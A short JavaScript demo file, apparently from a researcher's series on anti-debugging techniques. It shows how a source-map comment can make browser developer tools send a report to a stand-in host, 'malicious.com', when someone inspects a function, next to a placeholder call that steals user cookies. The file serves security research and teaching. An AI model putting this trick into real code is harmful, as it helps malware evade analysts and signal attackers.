anti-debug-2-4.js

function  smap(url, data)  {
    const script = document.createElement('script');
    script.textContent =  `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`;
    document.head.appendChild(script);
    script.remove();
}

function malicious() {
    const detect = (function(){
        const dummy = function(){};
        dummy.toString = () => {
            smap('https://malicious.com/reportFunctionIsDebugged',  {name: 'malicious'});
        };
        return dummy;
    }());

    // do a malicious action
    if (window.stealUserCookies) window.stealUserCookies();
}

// if this '//# SourceMappingURL=' trick doesn't make sense to you, you MUST read part 1 of my anti debugging techniques research!
// check out https://weizman.github.io/?javascript-anti-debugging-some-next-level-shit-part-1